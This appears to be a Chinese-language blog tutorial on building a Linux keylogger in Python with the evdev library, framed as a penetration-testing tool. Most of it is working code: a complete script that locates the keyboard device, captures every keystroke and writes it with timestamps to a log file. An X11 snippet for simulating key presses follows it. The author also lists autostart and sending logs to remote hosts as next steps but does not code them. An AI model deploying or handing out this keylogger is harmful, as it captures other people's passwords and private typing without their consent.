Linux下的键盘记录程序(python版)
0x00 前言
一般在Windows下实现键盘记录是通过hook钩子来实现的,使用python编写的话,基本导入一些win32api等模块大概30来行代码就可以实现。可以参考我之前写的一个简单的python脚本:keyloger.py 但是,在Linux下如何实现呢?
大家知道,在Linux下一切皆文件。所以,键盘鼠标等作为一种标准输入输出设备必然也是在Linux系统中以文件的形式存在的。熟悉Linux的同学一下就可以想到在/dev/下的这种设备文件,所以这里咱们需要的就是读取指定的键盘设备文件就可以了。
这里需要使用到linux的驱动–input输入子系统evdev。evdev 输入事件驱动,为输入子系统提供了一个默认的事件处理方法。其接收来自底层驱动的大多数事件,并使用相应的逻辑对其进行处理。evdev 输入事件驱动从底层接收事件信息,将其反映到 sys 文件系统中,用户程序通过对 sys 文件系统的操作,就能够达到处理事件的能力。更多关于evdev就不在此详细介绍。这里使用一个叫做evdev的python库进行处理,其原理是用C函数evdev_read()读取/dev/eventX设备中的buffer数组,里面存有input_event类型数据。
0x01 Linux下的键盘响应事件
Linux下的键盘响应事件即上面说到的input输入子系统evdev输入事件驱动。首先需要理解input_event类型的数据描述。在Linux内核中,input设备用input_dev结构体描述,使用input子系统实现输入设备驱动的时候,驱动的核心工作就是向系统报告按键、触摸屏、键盘、鼠标等输入事件(event,通过input_event结构体描述),不再需要关心文件操作接口,因为Input子系统已经完成了文件操作接口。
在linux/input.h 这个文件(具体位置在 /usr/include/linux/input.h)定义了event事件的结构体,API和标准按键的编码等:
struct input_event { struct timeval time; //按键时间 __u16 type; //事件类型 __u16 code; //模拟的按键 __s32 value;//是按下还是释放 };
type,指事件类型。在这里咱们研究的是:按键事件,当然还有其他事件(比如鼠标事件等),这里不再详细讨论。
code:事件的代码。这里只讨论按键事件,其类型代码code是EV_KEY,该代码为设备键盘代码。在该文头文件中已经定义的0~248中不同的键盘按键代码(详细见linux/input.h文件)。
value: 事件的值。同样,咱们讨论事件的类型代码是EV_KEY,当按键按下时值为1,松开时值为0。
0x02 python的evdev模块
根据官方文档(https://python-evdev.readthedocs.org)说明,evdev模块使用比较简单。最新版本的python-evdev模块可以使用pip安装。当然,安装之前需要Linux系统具有gcc/clang,并具有python环境和Linux内核头文件支持。下面是简单的安装:
在Debain系Linux系统上:
# apt-get install python-dev python-pip gcc # apt-get install linux-headers-$(uname -r)
在Redhat系Linux系统上:
# yum install python-devel python-pip gcc # yum install kernel-headers-$(uname -r)
在Arch系和其他衍生系Linux上:
# pacman -S core/linux-api-headers python-pip gcc
安装python-evdev包:
# pip install evdev
至此,python-evdev安装完成。现在就可以测试一下了,在权限下运行python,列举所有事件驱动设备:
>>> from evdev import InputDevice,list_devices >>> devices = [InputDevice(fn) for fn in list_devices()] >>> for dev in devices: ... print(dev.fn, dev.name, dev.phys) ... ('/dev/input/event14', 'SynPS/2 Synaptics TouchPad', 'isa0060/serio1/input0') ('/dev/input/event13', 'HDA NVidia HDMI/DP,pcm=3', 'ALSA') ('/dev/input/event12', 'Lenovo EasyCamera', 'usb-0000:00:14.0-1/button') ('/dev/input/event11', 'HDA Intel PCH Headphone', 'ALSA') ('/dev/input/event10', 'HDA Intel PCH Mic', 'ALSA') ('/dev/input/event9', 'HDA Digital PCBeep', 'card0/codec#0/beep0') ('/dev/input/event8', 'PC Speaker', 'isa0061/input0') ('/dev/input/event7', 'Ideapad extra buttons', 'ideapad/input0') ('/dev/input/event6', 'Video Bus', 'LNXVIDEO/video/input0') ('/dev/input/event5', 'Power Button', 'LNXPWRBN/button/input0') ('/dev/input/event4', 'Lid Switch', 'PNP0C0D/button/input0') ('/dev/input/event3', 'Sleep Button', 'PNP0C0E/button/input0') ('/dev/input/event2', 'Power Button', 'PNP0C0C/button/input0') ('/dev/input/event1', 'Lenovo Optical Mouse', 'usb-0000:00:1a.0-1.2/input0') ('/dev/input/event0', 'AT Translated Set 2 keyboard', 'isa0060/serio0/input0')
更多详细的使用例子可以参考https://python-evdev.readthedocs.org网站上给的样例教程,很常全面。利用这些设备文件可以做很多硬件调用方面的开发,当然写个远程控制都可以,比如控制摄像头、麦克风、鼠标、键盘等等。
0x03 python实现键盘监控
经过上面对设备文件的列举,很容易就知道在我这台电脑上对应的键盘设备事件文件是/dev/input/event0 所以,直接监控这个设备文件进行读取就OK了。下面是10行不到就可以实现的简单键盘记录脚本(注意,由于设备文件的读取需要权限,所以这里以root运行):
#!/usr/bin/env python #coding: utf-8 from evdev import InputDevice from select import select dev = InputDevice('/dev/input/event0') while True: select([dev], [], []) for event in dev.read(): print "code:%s value:%s" % (event.code, event.value)
上面代码运行时的结果很难识别出来,因为按一个键会出现6组结果。它的code值就是输入的键值,键盘上的每一个按键都对应了一个键值码。而value就是其对应的状态,当按下一个键时,value为1,松开时value值为0。所以这里我们可以做个简单的处理:
#!/usr/bin/env python # coding=utf-8 from evdev import InputDevice from select import select dev = InputDevice('/dev/input/event0') while True: select([dev],[],[]) for event in dev.read(): if(event.value == 1 or event.value == 0) and event.code != 0: print "Key:%s Status:%s" % (event.code, "pressed." if event.value else "release.")
实现的效果如下:
上面的简单程序基本可以监听到键盘记录,但是如果放到现实的渗透测试环境中还是不行的。比如还需要实现自启动,自动识别键盘设备文件,如果存在多个键盘设备那还要采用多线程实现对多个键盘设备事件同时进行监控,还有实现在线记录和离线记录以及自动发送远程主机等等技术需要实现。
对上面的程序进行简单的修改,就可以做一个简单的键盘记录程序。代码如下,也可到Github下载:keylogger_in_linux.py。
#!/usr/bin/env python # coding=utf-8 import re import sys import time from evdev import InputDevice, list_devices from select import select lasttime = int(time.time()) def findDevice(): devs = [InputDevice(fn) for fn in list_devices()] for dev in devs: if(re.search('eyboard', dev.name)): kb_device = dev.fn return kb_device return False def ctoa(code): dict = { 1: 'ESC', 2: '1', 3: '2', 4: '3', 5: '4', 6: '5', 7: '6', 8: '7',9: '8', 10: '9', 11: '0', 14: 'backspace', 15: 'tab', 16: 'q', 17: 'w', 18: 'e', 19: 'r', 20: 't', 21: 'y', 22: 'u', 23: 'i', 24: 'o', 25: 'p', 26: '[', 27: ']', 28: 'enter', 29: 'ctrl', 30: 'a', 31: 's', 32: 'd', 33: 'f', 34: 'g', 35: 'h', 36: 'j', 37: 'k', 38: 'l', 39: ';', 40: "'", 41: '`', 42: 'shift', 43: '\\', 44: 'z', 45: 'x', 46: 'c', 47: 'v', 48: 'b', 49: 'n', 50: 'm',51: ',', 52: '.', 53: '/', 54: 'shift', 56: 'alt', 57: 'space', 58: 'capslock', 59: 'F1', 60: 'F2', 61: 'F3',62: 'F4',63: 'F5',64: 'F6',65: 'F7',66: 'F8',67: 'F9', 68: 'F10',69: 'numlock',70: 'scrollock',87: 'F11',88: 'F12',97: 'ctrl',99: 'sys_Rq', 100: 'alt',102: 'home',104: 'PageUp',105: 'Left',106: 'Right',107: 'End', 108: 'Down',109: 'PageDown',111: 'del',125: 'Win',126:'Win',127: 'compose' } if code in dict: return dict[code] def writefile(asc): global lasttime f = open("keylog.txt","a") now = int(time.time()) ntime = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now)) if abs(now-lasttime) < 5: f.write(asc+" ") else: f.write('\n['+ntime+"] "+asc) lasttime = now f.close() def detectInputKey(): device = findDevice() if not device: print "[-] Can't find any keyboard devices!" print "[-] Exit..." sys.exit(0) dev = InputDevice(device) while True: select([dev],[],[]) for event in dev.read(): if event.value == 1 and event.code != 0: asc = ctoa(event.code) writefile(asc) print asc, sys.stdout.flush() if __name__ == "__main__": detectInputKey()
简单的效果图如下:
至此,一个简单的Linux下的键盘记录程序就完成了。在渗透测试中,键盘记录还是非常有用的工具。下一期将介绍使用Linux C重写这个键盘记录程序,欢迎继续关注!
0x04 补充另一种keylogger实现
(ps: 2015-12-20更新)
今天无意中在Github上看见使用python实现的另一种方式实现的keylogger,实现的方式比较有趣,故在此作一补充。
Github地址:https://github.com/amoffat/pykeylogger
根据该脚本导入的模块可以知道,它实现键盘记录的方式是通过python的ctypes库调用外部的dll实现的。所以无需读取键盘设备文件(一般情况下,读取键盘设备是需要较高权限的),也就是说可以在一般用户权限运行。该脚本通过外部cdll模块加载libX11.so库导入X11图形库:
import ctypes X11 = ctypes.CDLL("libX11.so")
具体的实现,就是通过加载的X11图形库,监听窗口事件从而达到键盘记录的。下面是完整的代码:
Github链接:keylogger_in_linux_with_x11.py
比较有趣的是,通过这种方式还可以模拟键盘事件,实现自动化敲击键盘!下面是模拟按下F15:
import ctypes X11 = ctypes.CDLL("libX11.so") class Display(ctypes.Structure): """ opaque struct """ class XKeyEvent(ctypes.Structure): _fields_ = [ ('type', ctypes.c_int), ('serial', ctypes.c_ulong), ('send_event', ctypes.c_int), ('display', ctypes.POINTER(Display)), ('window', ctypes.c_ulong), ('root', ctypes.c_ulong), ('subwindow', ctypes.c_ulong), ('time', ctypes.c_ulong), ('x', ctypes.c_int), ('y', ctypes.c_int), ('x_root', ctypes.c_int), ('y_root', ctypes.c_int), ('state', ctypes.c_uint), ('keycode', ctypes.c_uint), ('same_screen', ctypes.c_int), ] class XEvent(ctypes.Union): _fields_ = [ ('type', ctypes.c_int), ('xkey', XKeyEvent), ('pad', ctypes.c_long*24), ] X11.XOpenDisplay.restype = ctypes.POINTER(Display) display = X11.XOpenDisplay(None) key = XEvent(type=2).xkey #KeyPress key.keycode = X11.XKeysymToKeycode(display, 0xffcc) #F15 key.window = key.root = X11.XDefaultRootWindow(display) X11.XSendEvent(display, key.window, True, 1, ctypes.byref(key)) X11.XCloseDisplay(display)
更详细的文档可以参考xlib官方文档说明:http://www.sbin.org/doc/Xlib/chapt_09.html
本文链接:https://www.s0nnet.com/archives/linux-keylogger-with-python,欢迎转载!